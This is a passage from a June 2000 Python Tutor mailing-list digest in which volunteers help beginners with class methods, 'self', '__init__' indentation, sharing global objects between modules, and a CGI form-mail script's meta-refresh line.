--=====_96207790241=_-- From scarblac@pino.selwerd.nl Tue Jun 27 11:27:04 2000 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Tue, 27 Jun 2000 12:27:04 +0200 Subject: [Tutor] Function output In-Reply-To: <200006262251420170.013A9981@www.903internet.com>; from wmperry@903internet.com on Mon, Jun 26, 2000 at 10:51:42PM -0500 References: <200006250103370980.067053A9@www.903internet.com> <200006262251420170.013A9981@www.903internet.com> Message-ID: <20000627122704.A1470@pino.selwerd.nl> On Mon, Jun 26, 2000 at 10:51:42PM -0500, William Perry wrote: > First I need to thank everyone for taking time to answer, I'm alittle > embarrested to admit that the terminology I used in the original question > was incorrect. What I'm actually trying to do is get method output from a > class. ( Thanks to the first set of answers I have the functions operating > correctly as functions) I think that the suggestion of including the problem > code is the best way to ' re-ask'. And again thanks for the help. > > >From Idle screen: > > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a > > > >>> rollum.output() > Traceback (innermost last): > File "", line 1, in ? > rollum.output() > TypeError: unbound method must be called with class instance 1st argument Ahh, but this is another problem. You must make an instance of the class first and then use that. You see, a class is a kind of "blueprint" for an object. It can't be used by itself, but you use it to make instances of the class, and you can use those. So try: >>> r = rollum() # make an instance >>> r.output() # call the method on the instance But that still won't work, since the output function uses a function funct1(), but doesn't know where to find it. You have to tell it to look in "self": >>> class rollum: def funct1(self): return "Hello World" def output(self): a = self.funct1() return a >>> r = rollum() >>> r.output() I hope this clears it up a bit. (Inside the method, "self" is now a reference to r, btw) -- Remco Gerlich, scarblac@pino.selwerd.nl From alan.gauld@bt.com Tue Jun 27 11:13:55 2000 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Tue, 27 Jun 2000 11:13:55 +0100 Subject: [Tutor] classes and objects Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D1DA@mbtlipnt02.btlabs.bt.co.uk> > breathless and babbling! Alan Gault's Python tutorial fro > beginners has some reasonably digestable examples. Thanks for that, I hope you also checked the cas4e stuidy which has an OOP implementation too. > Any other > sources for examples, exercises for Python OOP? I assume you've read the official Python tutorial that comes with the download or on the python web site? Also try looking in the cetus-links web site for general OO information. The principles of OOP are pretty much the same regardless of language. Once you figure out how to do classes, constructors, inheritance and polymorphism in Python translating from the other pages from cetus-links should e pretty easy. Alan G. From jcm@bigskytel.com Tue Jun 27 14:11:22 2000 From: jcm@bigskytel.com (David Porter) Date: Tue, 27 Jun 2000 07:11:22 -0600 Subject: [Tutor] Function output In-Reply-To: <200006262251420170.013A9981@www.903internet.com>; from wmperry@903internet.com on Mon, Jun 26, 2000 at 10:51:42PM -0500 References: <200006250103370980.067053A9@www.903internet.com> <200006262251420170.013A9981@www.903internet.com> Message-ID: <20000627071122.A26664@novara.avenue> * William Perry : > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a 'a = funct1()' should be 'a = self.funct1()'. > >>> rollum.output() > Traceback (innermost last): > File "", line 1, in ? > rollum.output() > TypeError: unbound method must be called with class instance 1st argument This error means that you need to create an instance of the class: class Rollum: def output(self): s = " Hello World" return s r = Rollum() print r.output() I rewrote your code because the original output() function didn't do anything more than funct1(). Also, this may be just a personal preference, but I find python code much more easy to read if functions are written without a space between the name and parenthesis (you do this half of the time). Hope this helps, david. From dyoo@hkn.EECS.Berkeley.EDU Wed Jun 28 10:16:29 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Wed, 28 Jun 2000 02:16:29 -0700 (PDT) Subject: [Tutor] Function output In-Reply-To: <200006262251420170.013A9981@www.903internet.com> Message-ID: Hello! On Mon, 26 Jun 2000, William Perry wrote: > embarrested to admit that the terminology I used in the original > question was incorrect. What I'm actually trying to do is get method > output from a class. ( Thanks to the first set of answers I have the Don't feel embarrased --- this is how we learn! Ok, let's take a look at your code: > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a > > >>> rollum.output() > Traceback (innermost last): > File "", line 1, in ? > rollum.output() > TypeError: unbound method must be called with class instance 1st argument I see, so you want to be able to call the functions inside the class, but without saying something like: r = rollum() r.funct1() I'll assume that you've read through a bit of Chapter 6 in Learning Python, which talks about this. In fact, from my copy, it looks like Pg. 160 talks about this topic --- you can look at it afterwards to see if it makes more sense. The member functions of a class need to be "bound" to some instance of that class. From the interpreter, rollum.funct1 is: ### >>> rollum.funct1 ### Let's say we have a rollum instance called r. Here's a way to call rollum.funct1: ### >>> r = rollum() >>> rollum.funct1(r) 'Hello World!' ### What Python does normally when we say "r.funct1()" is to bind 'r' to the first argument of function funct1. That's what 'self' is. When you manually pull out that function via "rollum.funct1", you need to also manually insert 'self' into the function to make it work again. If we look at a simpler example, this'll make more sense: ### class SayHello: def speak(self): print "Hello!" s = SayHello() ### then "SayHello.speak(s)" and "s.speak()" do the same thing: ### >>> SayHello.speak(s) Hello! >>> s.speak() Hello! ### Normally, you usually do the latter, since it's shorter to write. It is very good that you're looking at this, however, because later in Chapter 6, you'll get introducted to the idea of inheritence, where this sort of stuff becomes very useful. I'll introduce a bit of it here. In inheritence, you can take a preexisting class, and augment it slightly with different behavior. Let's say we're simulating a courteous child who's learning how to count. ### class Beginner: def sayHello(self): print "Hello there." def count(self): print "I can count to one!" ### Ok, simple enough. But let's say we want to make an intermediate, who's studied tons and tons, who can count to an extraordinarily high number, and yet is still able to greet us warmly. We'd like to see something like: "Hello there." "I can count to one!" "I can count to two!" We could write this as follows: ### class Intermediate(Beginner): def count(self): print "I can count to one!" print "I can count to two!" ### and we'd be able to do something like: ### child = Intermediate() child.sayHello() child.count() ### That extra syntax in the class definition of Intermediate means: "Let's borrow all of the definitions of the Beginner, all except the count function, because that's being redefined". This allows us to let an Intermediate sayHello() still, even though we haven't explicitly written it. You might notice, however, that instead of completely replacing the definition of the beginner's count(), we might want to build on top of that. Learning is by building on top of what you already know. How can we do that? This will look familiar to you: ### class Intermediate(Beginner): def count(self): Beginner.count(self) print "I can count to two!" ### Here's the interpreter session: ### >>> child = Intermediate() >>> child.count() I can count to one! I can count to two! ### Again, if you have any questions, feel free to ask! From wesc@alpha.ece.ucsb.edu Wed Jun 28 11:16:46 2000 From: wesc@alpha.ece.ucsb.edu (Wesley J. Chun) Date: Wed, 28 Jun 2000 03:16:46 -0700 (PDT) Subject: [Tutor] Function output Message-ID: <200006281016.DAA14782@alpha.ece.ucsb.edu> > Date: Mon, 26 Jun 2000 22:51:42 -0500 > From: "William Perry" > > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a > > >>> rollum.output() > Traceback (innermost last): > File "", line 1, in ? > rollum.output() > TypeError: unbound method must be called with class instance 1st argument > > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a > def printer (self): > print self.output() > > >>> rollum.printer() > Traceback (innermost last): > File "", line 1, in ? > rollum.printer() > TypeError: unbound method must be called with class instance 1st argument hi... oh so close. the key to each problem you run into is due to the fact that the assignment you have in output() does not called with an instance. so change... > a = funct1() to > a = self.funct1() ... just like how you called self.output() from the printer method. then things should work fine. as you can probably tell when you call self.foo(), what's really happening is class.foo(self)... this is handled by the interpreter so you don't have to worry about (although you can make the latter call too)! if you wanted to try it, you would enter: rollum.funct1(self) # rather than self.funct1() in either case, an instance is passed in to appease the interpreter. hope this helps!! -wesley "Core Python Programming", Prentice-Hall, TBP Summer 2000 http://www.phptr.com/ptrbooks/ptr_0130260363.html http://www.softpro.com/languages-python.html wesley.j.chun :: wesc@alpha.ece.ucsb.edu cyberweb.consulting :: silicon.valley, ca http://www.roadkill.com/~wesc/cyberweb/ From alan.gauld@bt.com Wed Jun 28 11:30:13 2000 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Wed, 28 Jun 2000 11:30:13 +0100 Subject: [Tutor] Function output Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D1DE@mbtlipnt02.btlabs.bt.co.uk> > >From Idle screen: > > > >>> class rollum: > def funct1 (self): > s = " Hello World" > return s > def output (self): > a = funct1() > return a > > > >>> rollum.output() Others have picked up most of the points but for emphasis: the output function just returns a value. If you want to see that (outside of IDLE) you will need to use print. Thus it should be: >>> r = rollum() >>> print r.output() Alan G. From wmperry@903internets.com Wed Jun 28 23:44:51 2000 From: wmperry@903internets.com (william) Date: Wed, 28 Jun 2000 17:44:51 -0500 Subject: [Tutor] Function output In-Reply-To: References: Message-ID: <200006281744510530.0137F236@www.903internet.com> Yours and several others have provided an explanation that even I can= understand. Reading over the explanations in the manuals/documentation now= that I 'got it' I see what they're saying but somehow before...... Thanks!! Bill Perry *********** REPLY SEPARATOR *********** On 6/28/2000 at 2:16 AM Daniel Yoo wrote: >Hello! >( Other very helpful stuff) > >Again, if you have any questions, feel free to ask! From Greg.Furmanek@hit.cendant.com Wed Jun 28 18:25:13 2000 From: Greg.Furmanek@hit.cendant.com (Furmanek, Greg) Date: Wed, 28 Jun 2000 13:25:13 -0400 Subject: [Tutor] using global objects in classes Message-ID: Here is a situation for you guys. I hope you can help me. I got 3 files. I want to create a global object which can be used in all three files. The definition of the class is in file 2. The object itself is created in main file (1). When I want to use the object in file 3 I get a NameErro. The only way I was able to use the global object is if I pass it to the new class. Is there any other way to define the object to be able to use it in any class without explicitly passing it into the class as an argument?? +----------------+ +----------------+ | | | | | file 1 - main | | file 2 | | global object | | class object | | created | | | | | | | | | | | | | | | | | | | +----------------+ +----------------+ +----------------+ | | | file 3 | | using global | | object | | | | | | | | | +----------------+ From dyoo@hkn.EECS.Berkeley.EDU Thu Jun 29 01:55:28 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Wed, 28 Jun 2000 17:55:28 -0700 (PDT) Subject: [Tutor] using global objects in classes In-Reply-To: Message-ID: On Wed, 28 Jun 2000, Furmanek, Greg wrote: > When I want to use the object in file 3 I get a NameError. > The only way I was able to use the global object is if > I pass it to the new class. Hmmmm... Actually, this doesn't sound too hard. I'll make three files: globalinstance.py and test1.py. ### globalinstance.py class GlobalClass: def sayHello(self): print "Hello, this is coming from an instance of the global class." inst = GlobalClass() ### end global.py So, what we do is create an instance of that class, which lives inside the globalclass module. From any other module, we'll be able to reference it as "globalclass.inst". ### test.py import globalclass if __name__ == '__main__': inst = globalclass.inst inst.sayHello() ### end test.py Hope this helps! From dyoo@hkn.EECS.Berkeley.EDU Thu Jun 29 01:59:16 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Wed, 28 Jun 2000 17:59:16 -0700 (PDT) Subject: [Tutor] using global objects in classes In-Reply-To: Message-ID: On Wed, 28 Jun 2000, Daniel Yoo wrote: > Hmmmm... Actually, this doesn't sound too hard. I'll make three files: > globalinstance.py and test1.py. Hmmm... now that I realise it, that was just two files. Sorry, I'm having a hard time counting things... *grin* The idea's the same though. It would be helpful to see some of your source code, just to make sure that the NameError problem is coming from something like this. From YaNkEeSfAn2485@aol.com Thu Jun 29 15:10:52 2000 From: YaNkEeSfAn2485@aol.com (YaNkEeSfAn2485@aol.com) Date: Thu, 29 Jun 2000 10:10:52 EDT Subject: [Tutor] (no subject) Message-ID: i need help From jcm@bigskytel.com Thu Jun 29 15:50:56 2000 From: jcm@bigskytel.com (David Porter) Date: Thu, 29 Jun 2000 08:50:56 -0600 Subject: [Tutor] (no subject) In-Reply-To: ; from YaNkEeSfAn2485@aol.com on Thu, Jun 29, 2000 at 10:10:52AM -0400 References: Message-ID: <20000629085056.A17608@novara.avenue> * YaNkEeSfAn2485@aol.com : > > i need help > Umm, you're going to have to be a bit more specific. What do you need help with? From dyoo@hkn.EECS.Berkeley.EDU Thu Jun 29 20:56:20 2000 From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo) Date: Thu, 29 Jun 2000 12:56:20 -0700 (PDT) Subject: [Tutor] (no subject) In-Reply-To: Message-ID: On Thu, 29 Jun 2000 YaNkEeSfAn2485@aol.com wrote: > i need help What particular problem do you have? From masoga@mail.com Thu Jun 29 21:39:12 2000 From: masoga@mail.com (masoga@mail.com) Date: Thu, 29 Jun 2000 16:39:12 -0400 (EDT) Subject: [Tutor] Class question Message-ID: <379721299.962311152299.JavaMail.root@web305-mc.mail.com> I read the tutorial several times and tried to run the examples in the tutorial but I get an error can someone explain to me what am I donig wrong!! Here is the class file: class BankAccount: def _init_(self, initialAmount): self.balance = initialAmount print "Account created with balance %5.2f" %self.balance def deposit(self, amount): self.balance = self.balance + amount def checkBalance(self): return self.balance Here is the code to test the above: from bankaccount import * a = BankAccount(500) a.deposit(100) print "A= ", a.checkBalance() Here is the error message: Traceback (innermost last): File "D:\Python1.52\Pythonwin\pywin\framework\scriptutils.py", line 237, in RunScript exec codeObject in __main__.__dict__ File "D:\Python1.52\deposit1.py", line 1, in ? from bankaccount import * File "bankaccount.py", line 3 self.balance = initialAmount ^ SyntaxError: invalid syntax Thanks masoga@mail.com ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From shaleh@valinux.com Thu Jun 29 21:56:20 2000 From: shaleh@valinux.com (Sean 'Shaleh' Perry) Date: Thu, 29 Jun 2000 13:56:20 -0700 (PDT) Subject: [Tutor] Class question In-Reply-To: <379721299.962311152299.JavaMail.root@web305-mc.mail.com> Message-ID: > > class BankAccount: > def _init_(self, initialAmount): > self.balance = initialAmount > print "Account created with balance %5.2f" %self.balance > > def deposit(self, amount): > self.balance = self.balance + amount > > def checkBalance(self): > return self.balance > a) it is __init__() b) your e-mail does not reflect proper code layout. Whitespace is important to python, it is how the interpreter knows which piece of code goes where. class BankAccount: def __init__(self, initialAmount): self.balance = initialAmount print "Account created with balance %5.2f" % (self.balance) # % tuple def deposit(self, amount): self.balance = self.balance + amount def checkBalance(self): return self.balance when you are unsure of a problem, launch python and just type code into the interpreter. From deirdre@deirdre.net Thu Jun 29 22:03:32 2000 From: deirdre@deirdre.net (Deirdre Saoirse) Date: Thu, 29 Jun 2000 14:03:32 -0700 (PDT) Subject: [Tutor] Class question In-Reply-To: Message-ID: On Thu, 29 Jun 2000, Sean 'Shaleh' Perry wrote: > > def _init_(self, initialAmount): > > self.balance = initialAmount > a) it is __init__() > > b) your e-mail does not reflect proper code layout. Whitespace is > important to python, it is how the interpreter knows which piece of > code goes where. Right, so basically that means that self.balance is not set within the _init_ function. -- _Deirdre * http://www.sfknit.org * http://www.deirdre.net "Linux means never having to delete your love mail." -- Don Marti From wilson@visi.com Thu Jun 29 22:14:50 2000 From: wilson@visi.com (Timothy Wilson) Date: Thu, 29 Jun 2000 16:14:50 -0500 (CDT) Subject: [Tutor] Class question In-Reply-To: <379721299.962311152299.JavaMail.root@web305-mc.mail.com> Message-ID: On Thu, 29 Jun 2000 masoga@mail.com wrote: > I read the tutorial several times and tried to run the examples in the tutorial but I get an error can someone explain to me what am I donig wrong!! > Here is the class file: > > class BankAccount: > def _init_(self, initialAmount): > self.balance = initialAmount > print "Account created with balance %5.2f" %self.balance You need to indent your statements following the def. For example, class bankAccount: def __init__(self, initialAmount): # notice the number of underscores self.balance = initialAmount print "Account created with balance %5.2f" % self.balance -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From wilson@visi.com Thu Jun 29 22:57:42 2000 From: wilson@visi.com (Timothy Wilson) Date: Thu, 29 Jun 2000 16:57:42 -0500 (CDT) Subject: [Tutor] mirroring databases Message-ID: Hi everyone, I've been working on a project and it occurs to me that Python may be an excellent tool for the job. Having no previous experience with accessing databases directly with Python, I thought it would be a good idea to get a quick opinion from some gurus about the feasibility of the task. I'll try to simplify the situation, but leave the critical details. We've got a large Oracle database running at a remote site. This DB is accessible via the Internet and supports ODBC connections. We've also got a Linux box that could run either PostgreSQL and MySQL in your own network. We'd like to do a nightly mirror of the Oracle DB to PostgreSQL or MySQL. The Oracle contains data for many schools, and we would need to do a SQL select to pull out only the data relevant to our school. The database tables would have exactly the same format. Corollary: How would the problem change if our local SQL database were running on NT? I look forward to any ideas that you might have. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From jason.brashear@amd.com Fri Jun 30 15:25:05 2000 From: jason.brashear@amd.com (jason.brashear@amd.com) Date: Fri, 30 Jun 2000 09:25:05 -0500 Subject: [Tutor] Having trouble with a form mail script. Message-ID: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com> Hello, My problem is that I am trying to edit a script that creates a html page after the for has been filled out correctly. What I want to do is put a meta refresh but when I ad that Line I get an Internal server error. Here is the part that works: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" But the user has to hit his or her back button. this is what I want to do: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" But that doesn't work! So I then tried this: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "\n" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" That didn't work either.. Any Ideas? Can some one please help? If you would like to see the whole script here it is: #!/usr/bin/python """ 1/8/00 - Modified the original code to clean-up the email format. Cleared a bug in the output string concatenation. Filters out Submit and REQUIRED fields. A quick-and-dirty CGI form mailer. Requires Python 1.5.1. $Id: formmail.py,v 1.2 1999/01/28 11:42:57 larsga Exp $ """ OK=0 try: import cgi import StringIO import string import smtplib import sys # Standard modules import email import LBBemail # Config mailserver="techdoc.amd.com" mailrecip="k86access@techdoc.amd.com" # mailrecip="barnettl@techdoc.amd.com" subject="K86TECH Access Request Form" subject2="Automatic confirmation of your K86TECH access request." # Setup # Create output control # Process results form=cgi.FieldStorage() # Check that required fields are present OE=0 if form.has_key("REQUIRED"): missing=[] for field in string.split(form["REQUIRED"].value): if not form.has_key(field): missing.append(field) if form["Approvers_Email"].value == "Other: -->" : OE=1 if not form.has_key("Other_Email"): missing.append("Select or fill-in an email address.") if form.has_key("Your_Email") : A3 =form["Your_Email"].value youremail = LBBemail.testemail(A3) if missing!=[]: print "Content-type: text/html\n" print "\n" print "\n" print "Submission unsuccessful" print "\n" print "\n" print "

Submission unsuccessful

\n" print "

The following fields were missing:

\n" print "
    " for field in missing: print "
  • "+field print "
" print "

Please try again.

" print "\n"; print "\n" OK=1 sys.exit() # Set up the email # # This is code that will detect a mail recipient coded # into the HTML form. It is disabled to prevent the # unauthorized use of this script as a remailer. # # if form.has_key("email"): # mailrecip=form["email"].value # OK = 1 # LBBemail.testemail(mailrecip) if form.has_key("Approvers_Email"): sendor = form["Approvers_Email"].value if OE == 1 : sendor = form["Other_Email"].value OK = 1 A = LBBemail.testemail(sendor) # # Produce email. Check to see if form keys are used # prior to attempting to check their value or an # error will result. # out=StringIO.StringIO() out.write("To: %s\n" % A) out.write("Reply-to: %s\n" % mailrecip) out.write("Subject: %s\n\n" % subject) out.write(form["Your_Name"].value) out.write(" has requested access to the K86Tech web site\n") out.write("and has routed this request to you for approval. If you approve\n") out.write("this request, REPLY to this email, type APPROVED, then send, \n") out.write("including the information below, to %s\n\n" % mailrecip) out.write("The information submitted is:\n\n") # if form.has_key("Link") : # local_link = `form["Link"].value` # local_comments = "(none)" # local_comments = `form["comments"].value` C1 = "" C = "Test" # Telephone R = ( "Name: " + `form["Your_Name"].value` + "\n\n" + "Login: " + `form["Login"].value` + "\n\n" + "Temporary Password: " + `form["Password"].value` + "\n\n" + "Telephone: " + `form["Telephone"].value` + "\n\n" + "Email: " + youremail + "\n\n" ) if form.has_key("Comments") : C1 = "Comments:\n" + form["Comments"].value + "\n\n" C = R + C1 D = string.replace(C, "'", "") out.write(D) out.write("\n\nConfirmation was mailed to " + youremail) # # This is old code that scanned all form fields and printed the values. # It was replaced by the field-specific code, above. # # out.write("\n\n====================================\n") # out.write("\n\nThis is a complete listing of all raw data:\n\n") # for fieldname in form.keys(): # if fieldname != "REQUIRED" and fieldname != "submit" and fieldname != "": # out.write("---"+ fieldname +": \n") # B = form[fieldname].value # out.write( B + "\n\n") # Send email mail=smtplib.SMTP(mailserver) # mail.sendmail(mailrecip,[mailrecip],out.getvalue()) mail.sendmail(A,[A],out.getvalue()) # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" # Send confirmation email to submittor. out2=StringIO.StringIO() out2.write("Reply-to: %s\n" % mailrecip) out2.write("From: %s\n" % mailrecip) out2.write("Subject: %s\n" % subject2) out2.write("To: %s\n\n" % `youremail`) out2.write("This is confirmation of your request for access\n") out2.write("to the K86Tech web site. Your request has been sent\nto ") out2.write(A) out2.write(" for approval.\n") out2.write("This email was automatically generated. The information\n") out2.write("you submitted was:\n\n\n") out2.write(D) mailrecip = youremail # TEST CODE # print "==============

\n\n" # print "Address: " # print A # rawtime = clock() # sub_time = localtime(rawtime) # print subtime # cgi.test() # END TEST CODE print "

\n" print "

Thank you.

\n" print "\n"; print "\n" # Send confirmation email to submittor. out2=StringIO.StringIO() out2.write("Reply-to: %s\n" % mailrecip) out2.write("From: %s\n" % mailrecip) out2.write("Subject: %s\n" % subject2) out2.write("To: %s\n\n" % `youremail`) out2.write("This is confirmation of your request for access\n") out2.write("to the K86Tech web site. Your request has been sent\nto ") out2.write(A) out2.write(" for approval.\n") out2.write("This email was automatically generated. The information\n") out2.write("you submitted was:\n\n\n") out2.write(D) mailrecip = youremail # TEST CODE # print "==============

\n\n" # print "Address: " # print A # rawtime = clock() # sub_time = localtime(rawtime) # print subtime # cgi.test() # END TEST CODEz Jason Brashear jason.brashear@amd.com Phone: 602-3708 ext. 53708 PCS: 296-4-AMD > /tutor From scorder@cinci.rr.com Fri Jun 30 15:55:49 2000 From: scorder@cinci.rr.com (Sam Corder) Date: Fri, 30 Jun 2000 10:55:49 -0400 Subject: [Tutor] Having trouble with a form mail script. In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com> Message-ID: I think you need to escape your quotes on the refresh line. print "" That will make the string that gets printed actually look like: If it would have worked at all what you have it would look like: Try experimenting with that line in the interactive interpreter. -Sam -----Original Message----- From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of jason.brashear@amd.com Sent: Friday, June 30, 2000 10:25 AM To: tutor@python.org Subject: [Tutor] Having trouble with a form mail script. Hello, My problem is that I am trying to edit a script that creates a html page after the for has been filled out correctly. What I want to do is put a meta refresh but when I ad that Line I get an Internal server error. Here is the part that works: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" But the user has to hit his or her back button. this is what I want to do: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" But that doesn't work! So I then tried this: # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "\n" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" That didn't work either.. Any Ideas? Can some one please help? If you would like to see the whole script here it is: #!/usr/bin/python """ 1/8/00 - Modified the original code to clean-up the email format. Cleared a bug in the output string concatenation. Filters out Submit and REQUIRED fields. A quick-and-dirty CGI form mailer. Requires Python 1.5.1. $Id: formmail.py,v 1.2 1999/01/28 11:42:57 larsga Exp $ """ OK=0 try: import cgi import StringIO import string import smtplib import sys # Standard modules import email import LBBemail # Config mailserver="techdoc.amd.com" mailrecip="k86access@techdoc.amd.com" # mailrecip="barnettl@techdoc.amd.com" subject="K86TECH Access Request Form" subject2="Automatic confirmation of your K86TECH access request." # Setup # Create output control # Process results form=cgi.FieldStorage() # Check that required fields are present OE=0 if form.has_key("REQUIRED"): missing=[] for field in string.split(form["REQUIRED"].value): if not form.has_key(field): missing.append(field) if form["Approvers_Email"].value == "Other: -->" : OE=1 if not form.has_key("Other_Email"): missing.append("Select or fill-in an email address.") if form.has_key("Your_Email") : A3 =form["Your_Email"].value youremail = LBBemail.testemail(A3) if missing!=[]: print "Content-type: text/html\n" print "\n" print "\n" print "Submission unsuccessful" print "\n" print "\n" print "

Submission unsuccessful

\n" print "

The following fields were missing:

\n" print "
    " for field in missing: print "
  • "+field print "
" print "

Please try again.

" print "\n"; print "\n" OK=1 sys.exit() # Set up the email # # This is code that will detect a mail recipient coded # into the HTML form. It is disabled to prevent the # unauthorized use of this script as a remailer. # # if form.has_key("email"): # mailrecip=form["email"].value # OK = 1 # LBBemail.testemail(mailrecip) if form.has_key("Approvers_Email"): sendor = form["Approvers_Email"].value if OE == 1 : sendor = form["Other_Email"].value OK = 1 A = LBBemail.testemail(sendor) # # Produce email. Check to see if form keys are used # prior to attempting to check their value or an # error will result. # out=StringIO.StringIO() out.write("To: %s\n" % A) out.write("Reply-to: %s\n" % mailrecip) out.write("Subject: %s\n\n" % subject) out.write(form["Your_Name"].value) out.write(" has requested access to the K86Tech web site\n") out.write("and has routed this request to you for approval. If you approve\n") out.write("this request, REPLY to this email, type APPROVED, then send, \n") out.write("including the information below, to %s\n\n" % mailrecip) out.write("The information submitted is:\n\n") # if form.has_key("Link") : # local_link = `form["Link"].value` # local_comments = "(none)" # local_comments = `form["comments"].value` C1 = "" C = "Test" # Telephone R = ( "Name: " + `form["Your_Name"].value` + "\n\n" + "Login: " + `form["Login"].value` + "\n\n" + "Temporary Password: " + `form["Password"].value` + "\n\n" + "Telephone: " + `form["Telephone"].value` + "\n\n" + "Email: " + youremail + "\n\n" ) if form.has_key("Comments") : C1 = "Comments:\n" + form["Comments"].value + "\n\n" C = R + C1 D = string.replace(C, "'", "") out.write(D) out.write("\n\nConfirmation was mailed to " + youremail) # # This is old code that scanned all form fields and printed the values. # It was replaced by the field-specific code, above. # # out.write("\n\n====================================\n") # out.write("\n\nThis is a complete listing of all raw data:\n\n") # for fieldname in form.keys(): # if fieldname != "REQUIRED" and fieldname != "submit" and fieldname != "": # out.write("---"+ fieldname +": \n") # B = form[fieldname].value # out.write( B + "\n\n") # Send email mail=smtplib.SMTP(mailserver) # mail.sendmail(mailrecip,[mailrecip],out.getvalue()) mail.sendmail(A,[A],out.getvalue()) # Print confirmation print "Content-type: text/html\n" print "\n" print "\n" print "Submission successful" print "" print "\n" print "\n" print "

Submission successful

\n" print "

Your submission has been mailed to the site administrators." print "

Confirmation has been sent to your email address." print "

\n" print "

Thank you.

\n" print "\n"; print "\n" # Send confirmation email to submittor. out2=StringIO.StringIO() out2.write("Reply-to: %s\n" % mailrecip) out2.write("From: %s\n" % mailrecip) out2.write("Subject: %s\n" % subject2) out2.write("To: %s\n\n" % `youremail`) out2.write("This is confirmation of your request for access\n") out2.write("to the K86Tech web site. Your request has been sent\nto ") out2.write(A) out2.write(" for approval.\n") out2.write("This email was automatically generated. The information\n") out2.write("you submitted was:\n\n\n") out2.write(D) mailrecip = youremail # TEST CODE # print "==============

\n\n" # print "Address: " # print A # rawtime = clock() # sub_time = localtime(rawtime) # print subtime # cgi.test() # END TEST CODE print "

\n" print "

Thank you.

\n" print "\n"; print "\n" # Send confirmation email to submittor. out2=StringIO.StringIO() out2.write("Reply-to: %s\n" % mailrecip) out2.write("From: %s\n" % mailrecip) out2.write("Subject: %s\n" % subject2) out2.write("To: %s\n\n" % `youremail`) out2.write("This is confirmation of your request for access\n") out2.write("to the K86Tech web site. Your request has been sent\nto ") out2.write(A) out2.write(" for approval.\n") out2.write("This email was automatically generated. The information\n") out2.write("you submitted was:\n\n\n") out2.write(D) mailrecip = youremail # TEST CODE # print "==============

\n\n" # print "Address: " # print A # rawtime = clock() # sub_time = localtime(rawtime) # print subtime # cgi.test() # END TEST CODEz Jason Brashear jason.brashear@amd.com Phone: 602-3708 ext. 53708 PCS: 296-4-AMD > /tutor _______________________________________________ Tutor maillist - Tutor@python.org http://www.python.org/mailman/listinfo/tutor From jason.brashear@amd.com Fri Jun 30 16:39:51 2000 From: jason.brashear@amd.com (jason.brashear@amd.com) Date: Fri, 30 Jun 2000 10:39:51 -0500 Subject: R: [Tutor] Having trouble with a form mail script. Message-ID: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com> Thanks all You where all very helpful that solved the problem Blake. I did see what I missed. Thanks! But Blake why does Mine4 work? I see that you used ' ' instead if " " How and why does that work? Yours: print "" Mine4: print '' Mine5: print "" Jason Brashear jason.brashear@amd.com Phone: 602-3708 ext. 53708 PCS: 296-4-AMD From jcm@bigskytel.com Fri Jun 30 17:07:06 2000 From: jcm@bigskytel.com (David Porter) Date: Fri, 30 Jun 2000 10:07:06 -0600 Subject: [Tutor] Having trouble with a form mail script. In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com>; from jason.brashear@amd.com on Fri, 